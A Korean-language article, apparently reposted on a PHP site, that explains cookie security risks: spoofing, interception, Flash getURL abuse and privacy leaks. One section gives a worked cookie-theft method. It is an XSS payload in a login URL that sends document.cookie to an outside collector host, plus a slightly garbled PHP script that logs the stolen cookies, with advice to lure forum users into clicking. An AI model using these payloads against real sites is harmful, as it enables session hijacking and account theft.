>  기사  >  웹 프론트엔드  >  쿠키 보안 문제에 대한 심층 분석_쿠키

쿠키 보안 문제에 대한 심층 분석_쿠키

WBOY
WBOY원래의
2016-05-16 16:12:071639검색

쿠키의 목적은 사용자에게 편의를 제공하고 웹사이트에 가치를 추가하는 것입니다. 일반적인 상황에서는 심각한 보안 위협을 일으키지 않습니다. 쿠키 파일은 코드로 실행될 수 없으며 바이러스를 전송할 수 없습니다. 쿠키 파일은 사용자의 소유이며 이를 생성한 서버에서만 읽을 수 있습니다. 또한, 브라우저는 일반적으로 300개의 쿠키만 저장할 수 있으며, 각 사이트는 최대 20개의 쿠키를 저장할 수 있습니다. 따라서 쿠키는 하드 디스크를 차지하지 않으며, 쿠키로 사용되지 않습니다. "서비스 거부" 공격을 의미합니다.

그러나 사용자의 신원을 대신하여 쿠키의 보안이 전체 시스템의 보안을 결정하는 경우가 있으며, 쿠키의 보안 문제는 무시할 수 없습니다.

(1) 쿠키 스푸핑 쿠키는 사용자 계정 ID, 비밀번호 등의 정보를 기록하며, 일반적으로 온라인으로 전송되기 전에 MD5 방식으로 암호화됩니다. 암호화된 정보는 인터넷상에서 어떤 사악한 목적을 가진 사람들이 가로채더라도 그 내용을 이해할 수 없습니다. 그러나 이제 문제는 쿠키를 가로채는 사람이 이 문자열의 의미를 알 필요가 없다는 점입니다. 자신이 다른 사람의 쿠키를 서버에 제출하고 확인을 통과할 수만 있다면 피해자인 것처럼 가장하여 로그를 남길 수 있다는 것입니다. 이러한 행위를 쿠키라고 합니다.
불법 사용자는 쿠키 속임수를 통해 해당 암호화 키를 획득함으로써 사용자의 이메일은 물론 계정 정보까지 포함하여 합법적인 사용자의 모든 개인정보에 접근함으로써 개인정보에 심각한 피해를 입힐 수 있습니다.
(2) 쿠키 차단
쿠키는 브라우저와 서버 간에 일반 텍스트 형태로 전송되므로 다른 사람이 쉽게 불법적으로 가로채서 사용할 수 있습니다. 쿠키는 웹 통신을 가로챌 수 있는 사람이라면 누구나 읽을 수 있습니다.
불법 사용자가 쿠키를 가로채어 유효 기간 내에 쿠키가 재생된 후에는 불법 사용자가 합법적 사용자의 권리를 향유하게 됩니다. 예를 들어 온라인 독서의 경우 불법이용자가 수수료 없이 전자잡지를 온라인으로 읽을 수 있다.

쿠키 차단 방법에는 다음이 포함됩니다.

(1) 프로그래밍을 사용하여 쿠키를 차단합니다. 방법은 아래에서 분석됩니다. 이 방법은 두 단계로 완료됩니다.

1단계: 쿠키를 수집해야 하는 웹사이트를 찾아 분석하고 URL을 구성합니다. 먼저, 쿠키를 수집하려는 웹사이트를 열고(http://www.XXX.net) 웹사이트에 로그인한 후 사용자 이름 ""을 입력합니다(따옴표 제외). 패킷을 캡처하고 다음 코드를 얻습니다.
http://www.XXX.net/tXl/login/login.pl? 사용자 이름=&passwd=&ok.X=28&ok.y=6;
""을 다음으로 바꾸세요:
"<script>alert(document.cookie)</script>" 실행이 성공하면 다음 URL 구성을 시작하세요.
http://www.XXX.net/tXl/login/login.pl? 사용자 이름=<script>window.open ("http://www.cbifamily.org/cbi.php?"+document.cookie)</script>&passwd=&ok.X=28&ok.y=6.
그 중 http://www.cbifamily.org/cbi.php는 사용자가 제어할 수 있는 특정 호스트에 대한 스크립트이다. "+"는 " " 기호의 URL 인코딩입니다. " "는 공백으로 처리되기 때문입니다. URL을 포럼에 게시하여 다른 사람들이 클릭하도록 유도할 수 있습니다.

2단계: 쿠키를 수집하는 PHP 스크립트를 준비하여 사용자가 제어할 수 있는 웹사이트에 배치합니다. 의심하지 않는 사람이 구성된 URL을 클릭하면 PHP 코드가 실행될 수 있습니다. 스크립트의 구체적인 내용은 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.

$info=getenv("OUERY_STRING")
if($info){
$fp=fopen("info.tXt","a")
fwrite($fp,!info."n")
fclose($fp);

header("위치:http://www.XXX.net");
?>

이 코드를 네트워크에 넣으면 모든 사람의 쿠키를 수집할 수 있습니다. 포럼에서 HTML 코드를 허용하거나 플래시 태그 사용을 허용하는 경우 이러한 기술을 사용하여 쿠키 코드를 수집하여 포럼에 넣은 다음 게시물에 매력적인 주제를 부여하고 흥미로운 내용을 작성하여 빠르게 많은 수를 수집할 수 있습니다. 쿠키의. 포럼에서는 이 방법으로 많은 사람들의 비밀번호가 도난당했습니다.
(2) 플래시 코드의 숨겨진 위험을 이용하여 쿠키를 차단합니다. Flash에는 getURL() 함수가 있습니다. Flash는 이 기능을 사용하여 지정된 웹 페이지를 자동으로 열 수 있으며, 이로 인해 사용자는 악성 코드가 포함된 웹 사이트로 연결될 수 있습니다. 예를 들어, 사용자가 컴퓨터에서 플래시 애니메이션을 즐기고 있을 때 애니메이션 프레임의 코드가 조용히 인터넷에 연결되어 특수 코드가 포함된 아주 작은 페이지를 열었을 수 있으며, 이 페이지는 쿠키를 수집하고 기타 유해한 작업을 수행할 수 있습니다. 것들. 이는 Flash 파일의 내부 기능이므로 웹사이트에서는 Flash가 이를 수행하는 것을 막을 수 없습니다.
(3) 쿠키는 네트워크 개인 정보를 유출합니다
쿠키가 온라인 개인 정보 유출을 일으키는 주된 이유는 다음과 같습니다. 상업적 이익에 의해 주도됩니다. 전자상거래의 증가와 인터넷상의 거대한 비즈니스 기회의 출현으로 일부 웹사이트와 기관에서는 쿠키를 남용하고 검색 엔진 기술, 데이터 마이닝 기술, 심지어 네트워크기만 기술을 사용하여 방문자의 허락 없이 타인의 개인정보를 수집합니다. 데이터베이스 구축, 광고, 기타 영리 목적으로 이용자의 개인정보가 유출되는 경우. "쿠키 정보 전송의 개방성. 쿠키 파일은 특수한 전송 프로세스와 텍스트 특성을 가지고 있습니다. 서버와 클라이언트 간에 안전하지 않게 암호화된 Cookie-ie 파일을 전송하면 개인정보 유출이 쉽게 발생할 수 있습니다.

위 내용은 쿠키 보안에 대한 개인적인 이해입니다. 누락된 부분이 있으면 정정해 주시기 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.